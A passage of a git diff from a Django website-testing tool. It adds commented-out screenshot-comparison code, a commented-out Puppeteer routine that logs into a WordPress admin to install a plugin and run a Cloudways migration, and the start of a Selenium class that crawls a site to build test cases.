os.remove(image) +# index += 1 + +# else: +# bottom = True + +# # saving image +# await save_image(pic_id=pic_id, image=final_img) + +# # cleaning up +# await driver.close() + +# # returning images +# return self.image_array + + + + +# def test(self, test: object, index: int=None) -> dict: +# """ +# Compares each screenshot between the two scans and records +# a score out of 100%. + +# Compairsons used : +# - Structral Similarity Index (ssim) +# - PIL ImageChop Differences, Ratio +# - cv2 ORB Brute-force Matcher, Ratio + +# Expects: { +# 'test': object, +# 'index': int, +# } + +# Returns -> data: { +# 'average_score' : float(0-100), +# 'images' : dict, +# } +# """ + +# # setup temp dirs +# if not os.path.exists(os.path.join(settings.BASE_DIR, f'temp/{test.id}')): +# os.makedirs(os.path.join(settings.BASE_DIR, f'temp/{test.id}')) + +# # temp root +# temp_root = os.path.join(settings.BASE_DIR, f'temp/{test.id}') + +# # loop through and download each img in scan and compare it. +# pre_scan_images = test.pre_scan.images +# img_test_results = [] +# scores = [] +# i = 0 + +# if index is not None: +# pre_scan_images = [test.pre_scan.images[index]] +# i = index + +# # catching user error when scan_type +# # did not include 'vrt' +# if pre_scan_images is None: +# images_delta = { +# "average_score": None, +# "images": None, +# } +# return images_delta + + +# for pre_img_obj in pre_scan_images: + +# # getting pre_scan image +# pre_img_path = os.path.join(temp_root, f'{pre_img_obj["id"]}.png') +# with open(pre_img_path, 'wb') as data: +# self.s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), pre_img_obj["path"], data) + +# # getting post_scan image +# try: +# post_img_obj = test.post_scan.images[i] +# except: +# post_img_obj = None + +# if post_img_obj is not None: +# post_img_path = os.path.join(temp_root, f'{post_img_obj["id"]}.png') +# with open(post_img_path, 'wb') as data: +# self.s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), post_img_obj["path"], data) + +# # open images with PIL Image library +# post_img = I.open(post_img_path) +# pre_img = I.open(pre_img_path) + +# # check and reformat image sizes if necessary +# pre_img_w, pre_img_h = pre_img.size +# post_img_w, post_img_h = post_img.size + +# # pre_img is longer +# if pre_img_h > post_img_h: +# print(f'pre_img is larger, adjusting...') +# new_pre_img = pre_img.crop((0, 0, pre_img_w, post_img_h)).convert(mode=post_img.mode) +# new_pre_img.save(pre_img_path, quality=100) +# pre_img = I.open(pre_img_path) +# # post_img is longer +# if post_img_h > pre_img_h: +# print(f'post_img is larger, adjusting...') +# new_post_img = post_img.crop((0, 0, post_img_w, pre_img_h)).convert(mode=pre_img.mode) +# new_post_img.save(post_img_path, quality=100) +# post_img = I.open(post_img_path) + + +# # build two new images with differences highlighted +# def highlight_diffs(pre_img_path, post_img_path, index): +# ''' +# Returns -> two new images with highlights & float(ssim_score) +# ''' +# # Load the images +# image1 = cv2.imread(pre_img_path) +# image2 = cv2.imread(post_img_path) + +# # Convert the images to grayscale +# gray1 = cv2.cvtColor(image1, cv2.COLOR_BGR2GRAY) +# gray2 = cv2.cvtColor(image2, cv2.COLOR_BGR2GRAY) + +# # Compute the SSIM map +# (ssim_score, diff) = structural_similarity(gray1, gray2, full=True) + +# # Highlight the differences +# diff = (diff * 255).astype("uint8") + +# # Threshold the difference map +# _, thresh = cv2.threshold(diff, 0, 255, cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU) + +# # Find contours of the differences +# contours, _ = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE) + +# # Draw rectangles around the differences +# for contour in contours: +# (x, y, w, h) = cv2.boundingRect(contour) +# cv2.rectangle(image1, (x, y), (x+w, y+h), (0, 255, 0), 2) +# cv2.rectangle(image2, (x, y), (x+w, y+h), (0, 255, 0), 2) + +# # Save the output images +# img_1_id = uuid.uuid4() +# img_2_id = uuid.uuid4() +# cv2.imwrite(temp_root + f"/{img_1_id}.png", image1) +# cv2.imwrite(temp_root + f"/{img_2_id}.png", image2) +# img_objs = save_images(img_1_id, img_2_id, index) + +# data = { +# "img_objs": img_objs, +# "ssim_score": ssim_score +# } + +# return data + + +# # saving old images to new test.id path +# def save_images(pre_img_id, post_img_id, index): +# image_ids = [pre_img_id, post_img_id] +# img_objs = [] +# for img_id in image_ids: +# image = os.path.join(temp_root, f'{img_id}.png') +# remote_path = f'static/sites/{test.page.site.id}/{test.page.id}/{test.id}/{img_id}.png' +# root_path = settings.AWS_S3_URL_PATH +# image_url = f'{root_path}/{remote_path}' + +# # upload to s3 +# with open(image, 'rb') as data: +# self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), +# remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} +# ) + +# # building img obj +# obj = { +# "id": str(img_id), +# "url": image_url, +# "path": remote_path, +# "index": index, +# } +# img_objs.append(obj) + +# return img_objs + + +# # test images with PIL +# def pil_score(pre_img, post_img): +# try: +# if (pre_img.mode != post_img.mode) \ +# or (pre_img.size != post_img.size) \ +# or (pre_img.getbands() != post_img.getbands()): +# raise Exception('images are not comparable') + +# # Generate diff image in memory. +# diff_img = ImageChops.difference(pre_img, post_img) + +# # Calculate difference as a ratio. +# stat = ImageStat.Stat(diff_img) +# diff_ratio = (sum(stat.mean) / (len(stat.mean) * 255)) * 100 +# pil_img_score = (100 - diff_ratio) +# # print(f'PIL score -> {pil_img_score}') +# return pil_img_score + +# except Exception as e: +# print(e) + + +# # test with cv2 +# def cv2_score(pre_img, post_img): +# try: +# orb = cv2.ORB_create() + +# # convert to array +# pre_img_array = numpy.array(pre_img) +# post_img_array = numpy.array(post_img) + +# # detect keypoints and descriptors +# kp_a, desc_a = orb.detectAndCompute(pre_img_array, None) +# kp_b, desc_b = orb.detectAndCompute(post_img_array, None) + +# # define the bruteforce matcher object +# bf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True) + +# # perform matches. +# matches = bf.match(desc_a, desc_b) + +# # Look for similar regions with distance < 20. (from 0 to 100) +# similar_regions = [i for i in matches if i.distance < 20] +# if len(matches) == 0: +# cv2_img_score = 100 +# else: +# cv2_img_score = (len(similar_regions) / len(matches)) * 100 +# # print(f'cv2 -> {cv2_img_score}') + +# return cv2_img_score + +# except Exception as e: +# print(e) + + + +# # test images +# try: +# # generating new highlighted images and score via ssim +# ssim_results = highlight_diffs(pre_img_path, post_img_path, i) +# pre_img_diff = ssim_results['img_objs'][0] +# post_img_diff = ssim_results['img_objs'][1] + +# # ssim scoring +# ssim_img_score = ssim_results['ssim_score'] * 100 + +# # pillow scoring +# pil_img_score = pil_score(pre_img, post_img) + +# # pixel perfect scoring +# cv2_img_score = cv2_score(pre_img, post_img) + +# # weighted average +# img_score = ((ssim_img_score * 2) + (pil_img_score * 1) + (cv2_img_score * 5)) / 8 + +# # saving old images to test.id path +# old_imgs = save_images(pre_img_obj['id'], post_img_obj['id'], i) +# pre_img = old_imgs[0] +# post_img = old_imgs[1] + +# except Exception as e: +# print(e) +# img_score = None +# pre_img = None +# post_img = None +# pre_img_diff = None +# post_img_diff = None + +# # create img test obj and add to array +# img_test_obj = { +# "index": i, +# "pre_img": pre_img, +# "post_img": post_img, +# "pre_img_diff": pre_img_diff, +# "post_img_diff": post_img_diff, +# "score": img_score, +# } + +# img_test_results.append(img_test_obj) +# scores.append(img_score) + +# # remove local copies +# if post_img_obj is not None: +# try: +# os.remove(post_img_path) +# except Exception as e: +# print(e) +# try: +# os.remove(pre_img_path) +# except Exception as e: +# print(e) + +# i += 1 + +# # remove temp dir +# shutil.rmtree(temp_root) + +# # averaging scores and storing in images_delta obj +# try: +# avg_score = statistics.fmean(scores) +# except: +# avg_score = None + +# # formatting response +# images_delta = { +# "average_score": avg_score, +# "images": img_test_results, +# } + +# # returning response +# return images_delta + + + + + diff --git a/app/api/utils/archive/wordpress_p.py b/app/api/utils/archive/wordpress_p.py new file mode 100644 index 00000000..2b53dce7 --- /dev/null +++ b/app/api/utils/archive/wordpress_p.py @@ -0,0 +1,570 @@ +# from .driver_p import driver_init +# import time, asyncio, uuid +# from ..models import * +# from datetime import datetime +# from asgiref.sync import sync_to_async + + + + + + +# class Wordpress(): + + +# def __init__( +# self, +# login_url, +# admin_url, +# username, +# password, +# email_address, +# destination_url, +# sftp_address, +# dbname, +# sftp_username, +# sftp_password, +# wait_time, +# process_id +# ): +# # set all global vars +# self.login_url = login_url +# self.username = username +# self.password = password +# self.email_address = email_address +# self.destination_url = destination_url +# self.sftp_address = sftp_address +# self.dbname = dbname +# self.sftp_username = sftp_username +# self.sftp_password = sftp_password +# self.process = Process.objects.get(id=process_id) +# self.native_lang = 'en' + +# if not admin_url.endswith('/'): +# admin_url = admin_url + '/' +# self.admin_url = admin_url + +# if wait_time is None: +# self.wait_time = 30 +# else: +# self.wait_time = wait_time + +# self.navWaitOpt = { +# 'timeout': self.wait_time * 1000, +# 'waitUntil': 'domcontentloaded' +# } + + +# async def login(self): + +# ''' +# Tries to log into a WP site with given credentials. + +# returns --> True / False + +# ''' + +# print('begining login method for ' + self.login_url) + + +# self.driver = await driver_init(wait_time=self.wait_time) + +# # init page obj +# self.page = await self.driver.newPage() +# page_options = { +# 'waitUntil': 'networkidle0', +# 'timeout': self.wait_time * 1000 +# } + +# try: +# await self.page.goto(self.login_url, page_options) +# try: +# await self.page.xpath('//*[@id="user_login"]') +# print('found login form') +# except: +# try: +# jetpack = await self.page.xpath('//*[@id="jetpack-sso-wrap"]/a[1]') +# await jetpack[0].click() +# await self.page.xpath('//*[@id="user_login"]') +# print('found login form') +# except: +# try: +# login_link = await self.page.xpath("//a[contains(., 'Login with username and password')]") +# await login_link[0].click() +# await self.page.xpath('//*[@id="user_login"]') +# print('found login form') +# except: +# print('unable to locate login form at this path') +# await self.driver.close() +# return False + + +# except: +# print('unable to locate login form at this path') +# await self.driver.close() +# return False + +# user_name_elem = await self.page.xpath('//*[@id="user_login"]') +# await user_name_elem[0].click(clickCount=3) +# await self.page.keyboard.type(self.username) +# time.sleep(1) +# passworword_elem = await self.page.xpath('//*[@id="user_pass"]') +# await passworword_elem[0].click(clickCount=3) +# await self.page.keyboard.type(self.password) +# time.sleep(1) +# await self.page.keyboard.press('Enter') +# await self.page.waitForNavigation(self.navWaitOpt) + + +# try: +# try: +# verify_email = await self.page.xpath('//*[@id="correct-admin-email"]') +# print('need to verify email') +# await verify_email[0].click() +# print('clicked verify') +# except: +# pass + +# print('done with login attempt') + +# try: +# await self.page.xpath('//*[@id="login_error"]') +# print('found login error') +# await self.page.reload() + +# print('trying login again') +# user_name_elem = await self.page.xpath('//*[@id="user_login"]') +# await user_name_elem[0].click(clickCount=3) +# await self.page.keyboard.type(self.username) +# time.sleep(1) +# passworword_elem = await self.page.xpath('//*[@id="user_pass"]') +# await passworword_elem[0].click(clickCount=3) +# await self.page.keyboard.type(self.password) +# time.sleep(1) +# await self.page.keyboard.press('Enter') +# await self.page.waitForNavigation(self.navWaitOpt) + + +# try: +# await self.page.xpath('//*[@id="login_error"]') +# print('found login error again') +# print('counld not login to this site') +# except: +# print('no login errors') + +# except: +# print('no login errors') + +# except: +# print('counld not login to this site') + +# await self.driver.close() +# return False + + +# # removing alerts +# try: +# deny_btn = await self.page.xpath('//*[@id="webpushr-deny-button"]') +# await deny_btn[0].click() +# print('removed alert') +# except: +# pass +# try: +# # checking if url location is wp-admin +# admin_link = '/wp-admin/' +# current_url = self.page.url +# print('current url -> ' + current_url) +# if current_url.endswith("/wp-admin") or current_url.endswith("/wp-admin/") or admin_link in current_url: +# print('inside wp-admin') +# else: +# print('not in wp-admin - navigating there now') +# admin_btn = await self.page.xpath('//*[@id="wp-admin-bar-dashboard"]') +# admin_link = await admin_btn[0].querySelector('a') +# await admin_link[0].click(clickCount=2) +# print('clicked dashboard link') +# await self.page.waitForNavigation(self.navWaitOpt) + + +# except: +# print('could not login') +# await self.driver.close() +# return False + + +# return True + + + + + +# async def begin_lang_check(self): + +# try: +# # navigate to settings +# s_url = 'options-general.php' +# try: +# settings_menu = await self.page.xpath('//*[@id="menu-settings"]') +# await settings_menu[0].click() +# print('clicked settings menu') +# await self.page.waitForNavigation(self.navWaitOpt) +# settings = await self.page.xpath('.//a[@href="'+s_url+'"]') +# await settings[0].click() +# print('clicked settings tab') +# await self.page.waitForNavigation(self.navWaitOpt) + + +# except: +# await self.page.goto(self.page.url + s_url) +# await self.page.waitForNavigation(self.navWaitOpt) + +# # finding and recording current native language +# lang_selector = await self.page.xpath('//*[@id="WPLANG"]') +# optgroup = await lang_selector[0].querySelector('optgroup') +# selected_lang = await optgroup.xpath('.//option[@selected="selected"]') +# default_lang = await (await selected_lang[0].getProperty('lang')).jsonValue() +# default_lang_value = await (await selected_lang[0].getProperty('value')).jsonValue() +# print("defalut lang value is " + str(default_lang)) + +# if default_lang != 'en': + +# # selecting english +# await lang_selector[0].select('en_CA') +# print('selected english') + +# # saving settings +# save_btn = await self.page.xpath('//*[@id="submit"]') +# await save_btn[0].click() +# print('saved lang to english') + +# self.native_lang = default_lang_value +# return True + +# else: +# self.native_lang = 'en' + + +# except: +# print('error in changing language') +# return False + + + + + + +# async def end_lang_check(self): + +# if self.native_lang != 'en': + +# try: +# # navigate to settings +# s_url = 'options-general.php' +# try: +# settings_menu = await self.page.xpath('//*[@id="menu-settings"]') +# await settings_menu[0].click() +# print('clicked settings menu') +# await self.page.waitForNavigation(self.navWaitOpt) +# settings = await self.page.xpath('.//a[@href="'+s_url+'"]') +# await settings[0].click() +# print('clicked settings tab') +# await self.page.waitForNavigation(self.navWaitOpt) + +# except: +# await self.page.goto(self.page.url + s_url) +# await self.page.waitForNavigation(self.navWaitOpt) + +# # selecting native lang +# lang_selector = await self.page.xpath('//*[@id="WPLANG"]') +# await lang_selector[0].select(self.native_lang) +# print('selected native_lang') + +# # saving settings +# save_btn = await self.page.xpath('//*[@id="submit"]') +# await save_btn[0].click() +# print('saved native lang') + +# except: +# await self.driver.close() +# return False + +# await self.driver.close() +# return True + + + +# async def install_plugin(self, plugin_name): + +# # setting url for link naving +# plugin_menu_page = 'plugins.php' +# add_plugin_page = 'plugin-install.php' + +# # navigating to plugin page +# try: +# print('trying click method') +# plugin_menu = await self.page.xpath('//*[@id="menu-plugins"]') +# await plugin_menu[0].click() +# await self.page.waitForNavigation(self.navWaitOpt) +# p_url = 'plugins.php' +# plugins = await self.page.xpath('.//a[@href="'+p_url+'"]') +# await plugins[0].click() +# print('clicked plugin menu') +# await self.page.waitForNavigation(self.navWaitOpt) + + +# # looking for dependencies in plugin table +# time.sleep(10) +# form = await self.page.xpath('//*[@id="bulk-action-form"]') +# pluginTable = await form[0].querySelector('tbody') +# tableText = await (await pluginTable.getProperty('textContent')).jsonValue() + +# except: +# print('trying link method for navigation') +# try: +# await self.page.goto(self.admin_link + plugin_menu_page) +# await self.page.waitForNavigation(self.navWaitOpt) + +# time.sleep(10) +# # looking for dependencies in plugin table +# form = await self.page.xpath('//*[@id="bulk-action-form"]') +# pluginTable = await form[0].querySelector('tbody') +# tableText = await (await pluginTable.getProperty('textContent')).jsonValue() +# except: +# print('unable to find plugin table') +# await self.driver.close() +# return False + +# if plugin_name not in tableText: +# try: +# print('plugin not present, preparing to install') + +# time.sleep(2) +# print('navigating to add plugins page') + +# try: +# url = 'plugin-install.php' +# add_plugin = await self.page.xpath('//a[@href="'+url+'"]') +# await add_plugin[0].click(clickCount=2) +# print('clicked add plugin link') +# await self.page.waitForNavigation(self.navWaitOpt) + +# time.sleep(5) +# except: +# await self.page.goto(self.admin_url + add_plugin_page) +# await self.page.waitForNavigation(self.navWaitOpt) + +# time.sleep(5) + + +# # searching for plugin +# search_form = await self.page.xpath('//input[@type="search"]') +# await search_form[0].click(clickCount=3) +# await self.page.keyboard.type(plugin_name) +# time.sleep(1) +# await self.page.keyboard.press('Enter') +# time.sleep(3) + +# ##### Clicking "install" plugin ###### +# install = await self.page.xpath('//*[@id="the-list"]/div[1]/div[1]/div[2]/ul/li[1]/a') #### ---> This will have to updated regularly +# await install[0].click(clickCount=2) +# print('clicked -install plugin-') +# time.sleep(30) + + +# #### Clicking "activate" plugin ###### +# await self.page.reload() +# print('reloading page') +# try: +# await self.page.waitForNavigation(self.navWaitOpt) +# except: +# pass +# activate = await self.page.xpath('//*[@id="the-list"]/div[1]/div[1]/div[2]/ul/li[1]/a') #### ---> This will have to updated regularly +# await activate[0].click(clickCount=2) +# print('clicked -Activate plugin-') +# time.sleep(30) +# print('Dependencies installed sucessfully') +# return True + +# except: +# print('failed dependency installation') +# await self.driver.close() +# return False + +# else: +# print('plugin already installed') +# return True + + +# @sync_to_async +# def update_process(self, successful=False, info_url=None, time_completed=None, progress=None): +# if info_url is not None: +# self.process.info_url = info_url +# self.process.success = successful +# if time_completed is not None: +# self.process.time_completed = time_completed +# if progress is not None: +# self.process.progress = progress + +# self.process.save() +# return + + + +# async def launch_migration(self): +# ''' +# Launches the migration plugin once Activated. + +# returns --> True / False + +# ''' + +# # setting url for link naving +# migrate_page = 'admin.php?page=cloudways' +# current_url = self.page.url + +# if not current_url.endswith("cloudways"): +# print('navigating to migration page') +# if self.admin_url.endswith('/'): +# await self.page.goto(f'{self.admin_url}{migrate_page}') +# else: +# await self.page.goto(f'{self.admin_url}/{migrate_page}') +# time.sleep(10) + + +# # wait for cloudways email field to become visible +# # entering self.email_address in field +# email = await self.page.xpath('//*[@id="wpbody-content"]/main/div/form/div/input') +# await email[0].click(clickCount=3) +# await self.page.keyboard.type(self.email_address) +# print('entered cloudways email') + +# # checking T&S checbox +# checkbox = await self.page.xpath('//*[@id="wpbody-content"]/main/div/form/div/div/label/input[3]') +# await checkbox[0].click(clickCount=1) +# print('checked T&S agreement') + +# # clicking submit to launch migration plugin +# m_button = await self.page.xpath('//*[@id="migratesubmit"]') +# await m_button[0].click(clickCount=1) +# print('clicked migrate button') + +# return True + + +# async def run_migration(self): +# ''' +# Enters data on migration page, initiates miration +# and begins updating the associated `Process` with data +# from the page. + +# returns --> True / False + +# ''' + +# # check for page to fully load +# print('waiting 10 sec for new page to load') +# time.sleep(10) +# ## enter all necessary data in each field +# await self.page.waitForNavigation(self.navWaitOpt) + +# # get_element_by_name="address" -> self.destination_url +# destination_url = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[1]/div/div/input[1]') +# await destination_url[0].click(clickCount=3) +# await self.page.keyboard.type(self.destination_url) +# print(f'dest_url as -> {self.destination_url}') +# time.sleep(2) + +# # get_element_by_name="newurl" -> self.sftp_address +# sftp_address = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[2]/div/div/input[1]') +# await sftp_address[0].click(clickCount=3) +# await self.page.keyboard.type(self.sftp_address) +# print(f'sftp_address as -> {self.sftp_address}') +# time.sleep(2) + +# # get_element_by_name="appfolder" -> self.dbname +# dbname = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[3]/div/div/input[1]') +# await dbname[0].click(clickCount=3) +# await self.page.keyboard.type(self.dbname) +# print(f'dbname as -> {self.dbname}') +# time.sleep(2) + +# # get_element_by_name="username" -> self.sftp_username +# sftp_username = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[4]/div/div/input[1]') +# await sftp_username[0].click(clickCount=3) +# await self.page.keyboard.type(self.sftp_username) +# print(f'sftp_username as -> {self.sftp_username}') +# time.sleep(2) + +# # get_element_by_name="passwd" -> self.sftp_password +# sftp_password = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[5]/div/div/input[1]') +# await sftp_password[0].click(clickCount=3) +# await self.page.keyboard.type(self.sftp_password) +# print(f'sftp_password as -> {self.sftp_password}') +# time.sleep(2) + +# print('entered all creds') + +# # submit data +# await self.page.keyboard.press('Enter') +# print('pressed enter key') + + + +# # update self.process with info_url +# info_url = self.page.url +# await self.update_process(info_url=info_url) + + +# done = False +# done_text = 'Your migration is complete!' +# new_progress = 0 +# print(f'current url -> {self.page.url}') +# while not done: + +# # checking for progres bar +# try: +# raw_progress = await self.page.xpath('//*[@id="app"]/span/div[2]/span/div/div/div/div/div/div[3]/div[4]/div[2]') +# new_progress = await (await raw_progress[0].getProperty('textContent')).jsonValue() +# new_progress = float(new_progress.split('%')[0]) +# except Exception as e: +# # print(e) +# pass + + +# # update self.process +# await self.update_process(progress=new_progress) + +# # check if new_progress is 100% +# page_content = await self.page.content() +# if new_progress >= 100 or done_text in page_content: +# time_completed = datetime.now() +# await self.update_process(successful=True, time_completed=time_completed, progress=100) +# done = True + +# # checking for process errors +# if 'alert alert-danger' in page_content: +# done = True +# time_completed = datetime.now() +# await self.update_process(time_completed=time_completed) +# print('found an error - ending process') +# return False + +# time.sleep(1) + + +# return True + + + + + + +# async def run_full(self, plugin_name): +# data = await self.login() +# data = await self.begin_lang_check() +# data = await self.install_plugin(plugin_name) +# # data = await self.end_lang_check() +# data = await self.launch_migration() +# data = await self.run_migration() +# await self.driver.close() +# return data + diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py new file mode 100644 index 00000000..03c1c1a9 --- /dev/null +++ b/app/api/utils/autocaser.py @@ -0,0 +1,1142 @@ +from .driver import driver_init, driver_wait, quit_driver +from selenium.webdriver.common.by import By +from ..models import Site, Case +from scanerr import settings +import time, os, json, uuid, random, boto3 + + + + + + +class AutoCaser(): + """ + Generate new `Cases` for the passed 'site'. + + Expects: { + 'site' : object, + 'process' : object, + 'start_url' : str, + 'configs' : dict, + 'max_cases' : int, + 'max_layers' : int + } + + Use `AutoCaser.build_cases()` to generate new `Cases` + + Returns -> None + """ + + + def __init__( + self, + site : object, + process : object, + start_url : str=None, + configs : dict=settings.CONFIGS, + max_cases : int=4, + max_layers : int=5, + ): + + # main objects & configs + self.site = site + self.process = process + self.start_url = start_url + self.configs = configs + self.max_cases = max_cases + self.max_layers = max_layers + + # high-level elemets array. + # All elememts represent the + # begining of a new Case. + self.elements = [] + self.final_start_elements = [] + + # starting driver + self.driver = driver_init( + window_size=self.configs.get('window_size'), + device=self.configs.get('device'), + ) + + # setting selector script + self.selector_script = ( + """ + const getSelector = (elm) => { + if (elm.tagName === "BODY") return "BODY"; + const names = []; + while (elm.parentElement && elm.tagName !== "BODY") { + if (elm.id) { + names.unshift(`[id='${elm.getAttribute("id")}']`); // "#" + elm.getAttribute("id") + break; + } else { + let c = 1, e = elm; + for (; e.previousElementSibling; e = e.previousElementSibling, c++) ; + names.unshift(elm.tagName + ":nth-child(" + c + ")"); + } + elm = elm.parentElement; + } + return names.join(">"); + } + + return getSelector(arguments[0]) + + """ + ) + + # setting xpath script + self.xpath_script = ( + """ + const getXPath = (elm) => { + const idx = (sib, name) => sib + ? idx(sib.previousElementSibling, name||sib.localName) + (sib.localName == name) + : 1; + const segs = elm => !elm || elm.nodeType !== 1 + ? [''] + : elm.id && document.getElementById(elm.id) === elm + ? [`id("${elm.id}")`] + : [...segs(elm.parentNode), `${elm.localName.toLowerCase()}[${idx(elm)}]`]; + return segs(elm).join('/'); + } + + return getXPath(arguments[0]) + + """ + ) + + # setting selector script + self.visible_script = ( + """ + const isVisible = (elm) => { + try{ + if (window.getComputedStyle(elm).visibility === 'hidden' || window.getComputedStyle(elm).display === 'none'){ + return false + } else { + return true + } + }catch{ + return false + } + } + + return isVisible(arguments[0]) + + """ + ) + + # setting defaults for inputs + self.input_types = { + "button": {'test_data': None, 'action': 'click'}, + "checkbox": {'test_data': None, 'action': 'click'}, + "color": {'test_data': '#ff0000', 'action': 'change'}, + "date": {'test_data': '2024-04-23', 'action': 'change'}, + "datetime-local": {'test_data': '2024-04-22T12:49', 'action': 'change'}, + "email": {'test_data': 'jane@example.com', 'action': 'change'}, + "file": {'test_data': None, 'action': None}, + "hidden": {'test_data': None, 'action': None}, + "image": {'test_data': None, 'action': None}, + "month": {'test_data': '2024-04', 'action': 'change'}, + "number": {'test_data': '1', 'action': 'change'}, + "password": {'test_data': 'pass123456!@', 'action': 'change'}, + "radio": {'test_data': None, 'action': 'click'}, + "range": {'test_data': 1, 'action': 'change'}, + "reset": {'test_data': None, 'action': None}, + "search": {'test_data': 'search example', 'action': 'change'}, + "submit": {'test_data': None, 'action': 'click'}, + "tel": {'test_data': '5555555555', 'action': 'change'}, + "text": {'test_data': 'Example Text', 'action': 'change'}, + "time": {'test_data': '12:34', 'action': 'change'}, + "url": {'test_data': 'https://example.com', 'action': 'change'}, + "week": {'test_data': '2024-W15', 'action': 'change'}, + "textarea": {'test_data': 'This is longer example text for testing.', 'action': 'change'}, + "None": {'test_data': None, 'action': None}, + } + + # setting blacklist for input types to ignore + self.blacklist = ['file', 'hidden', 'image', 'reset'] + + # setup boto3 configurations + self.s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + + + + def update_process( + self, + current: int, + total: int, + complete: bool=False, + exception: str=None + ) -> None: + # calculate the current progress of the + # task based on current iteration and total + # iterations expected + final_progress = 90 + progress = 0 + success = False + if complete: + progress = 100 + success = True + if not complete: + progress = float((current/total) * final_progress) + + print(f'updating process --> {progress}%') + + # update Process obj + self.process.progress = progress + self.process.success = success + self.process.save() + + + + + def is_element_visible(self, element: object) -> bool: + try: + resp = self.driver.execute_script(self.visible_script, element) + resp = str(resp).lower() + if resp == 'true': + return True + if resp == 'false': + return False + except Exception as e: + print(f'is_element_visible() Exception -> Stale element reference') + + + + + def get_element_image(self, element: object) -> str: + try: + image = element.screenshot_as_base64 + # sleep for .5 seconds to let image process + time.sleep(.5) + except: + image = None + return image + + + + + def get_url_root(self, url: str) -> str: + protocol = url.split('//')[0] + '//' + root_url = protocol + url.split('//')[1].split('/')[0] + return root_url + + + + + def get_relative_url(self, url: str) -> str: + relative_url = '/' + url.split('//')[1].split('/')[1] + return relative_url + + + + + def get_elem_text(self, selector: str) -> str: + elem_text = self.driver.execute_script(f'return document.querySelector("{selector}").innerText') + elem_text = elem_text.split('\n')[0].strip() + return elem_text + + + + + def get_priority_elements(self, elements: list) -> dict: + priority_words = [ + 'cart', 'checkout', 'add to cart', 'add to the cart', + 'add to basket', 'add to shopping basket', 'add to shopping cart', + 'add to the cart', 'billing', 'address', 'payment', 'purchase now', + 'order now', 'order', 'shop now', 'continue to payment', 'contact', + 'apply', 'submit', 'contact sales', 'contact us' + ] + + priority_elements = [] + non_priority_elements = [] + + # checking each element for prioriry words + for element in elements: + + # get element's innerText + elem_selector = self.driver.execute_script(self.selector_script, element) + elm_text = self.driver.execute_script(f'return document.querySelector("{elem_selector}").innerText') + + # check each priority word against element innerText + for word in priority_words: + if word in elm_text.lower() or elm_text.lower() in word: + priority_elements.append(element) + break + elif element not in non_priority_elements: + non_priority_elements.append(element) + + # if priotity_elements[] is empty + # look for any forms and add them + if len(priority_elements) == 0: + for element in elements: + if element.tag_name == 'form': + # add to priority + priority_elements.append(element) + print('added FORM to priority_elements[]') + + data = { + 'priority_elements': priority_elements, + 'non_priority_elements': non_priority_elements + } + + return data + + + + + def get_current_elements(self) -> list: + # returns a list of interactable + # elements on the current page and + # removes and duplicates before returning + buttons = self.driver.find_elements(By.TAG_NAME, 'button') + links = self.driver.find_elements(By.TAG_NAME, 'a') + forms = self.driver.find_elements(By.TAG_NAME, 'form') + inputs = self.driver.find_elements(By.TAG_NAME, 'input') + textareas = self.driver.find_elements(By.TAG_NAME, 'textarea') + inputs_textareas_buttons = inputs + textareas + buttons + + # get all form inputs, textareas, & buttons + form_elems = [] + for form in forms: + # form inputs + form_inputs = form.find_elements(By.TAG_NAME, 'input') + form_elems += form_inputs + # form textarea + form_textares = form.find_elements(By.TAG_NAME, 'textarea') + form_elems += form_textares + # form buttons + form_buttons = form.find_elements(By.TAG_NAME, 'button') + form_elems += form_buttons + + # then remove duplicates + inputs_textareas_buttons = [elem for elem in inputs_textareas_buttons if elem not in form_elems] + + # shuffle elements in place + random.shuffle(forms) + random.shuffle(inputs_textareas_buttons) + random.shuffle(links) + + current_elements = forms + inputs_textareas_buttons + links + + # return result + return current_elements + + + + + def check_for_duplicates(self, selector: str, elements: list=None) -> bool: + found_duplicate = False + if elements is None: + elements = self.elements + + # checking against all final start elements + for final_start_elem in self.final_start_elements: + if final_start_elem == selector: + found_duplicate = True + return found_duplicate + + for elem in elements: + # check if selector exists already + if elem['selector'] == selector: + found_duplicate = True + break + + # check if sub_elements exists + if elem['elements'] != None: + self.check_for_duplicates(selector=selector, elements=elem['elements']) + + # return result + return found_duplicate + + + + + def get_clean_elements(self, elements: list, check_against: list=None) -> list: + cleaned_elements = [] + current_url = self.driver.current_url + + for elem in elements: + # get slector + elem_selector = self.driver.execute_script(self.selector_script, elem) + + # check local duplicates + if check_against is not None: + if self.check_for_duplicates(selector=elem_selector, elements=check_against): + print(f'found local duplicate => {elem_selector}') + continue + + # check global duplicates + if self.check_for_duplicates(selector=elem_selector): + print(f'found global duplicate => {elem_selector}') + continue + + # check url if + if elem.tag_name == 'a': + # check if action will reload page or site root + elem_link = elem.get_attribute('href') + # check it elem_link is blank + if elem_link is None: + print('elem_link not present') + continue + if current_url == elem_link or elem_link == self.site.site_url or elem_link == '/': + print('elem reloads page') + continue + # check if action will nav to new site + if not elem_link.startswith(self.site.site_url): + print(f'elem links to different site') + continue + + # add to cleaned conditions passed + cleaned_elements.append(elem) + + # return cleaned elements + return cleaned_elements + + + + + def record_new_element(self, elem: object, sub_elements: list) -> dict: + """ + returns -> { + 'sub_elements': [], + 'run': bool, + 'added': bool, + } + """ + # setting defaults + run = True + added = False + + # check if element is visible + if not self.is_element_visible(elem): + data = { + 'run': run, + 'added': added, + 'sub_elements': sub_elements + } + return data + + # get sub element info + elem_selector = 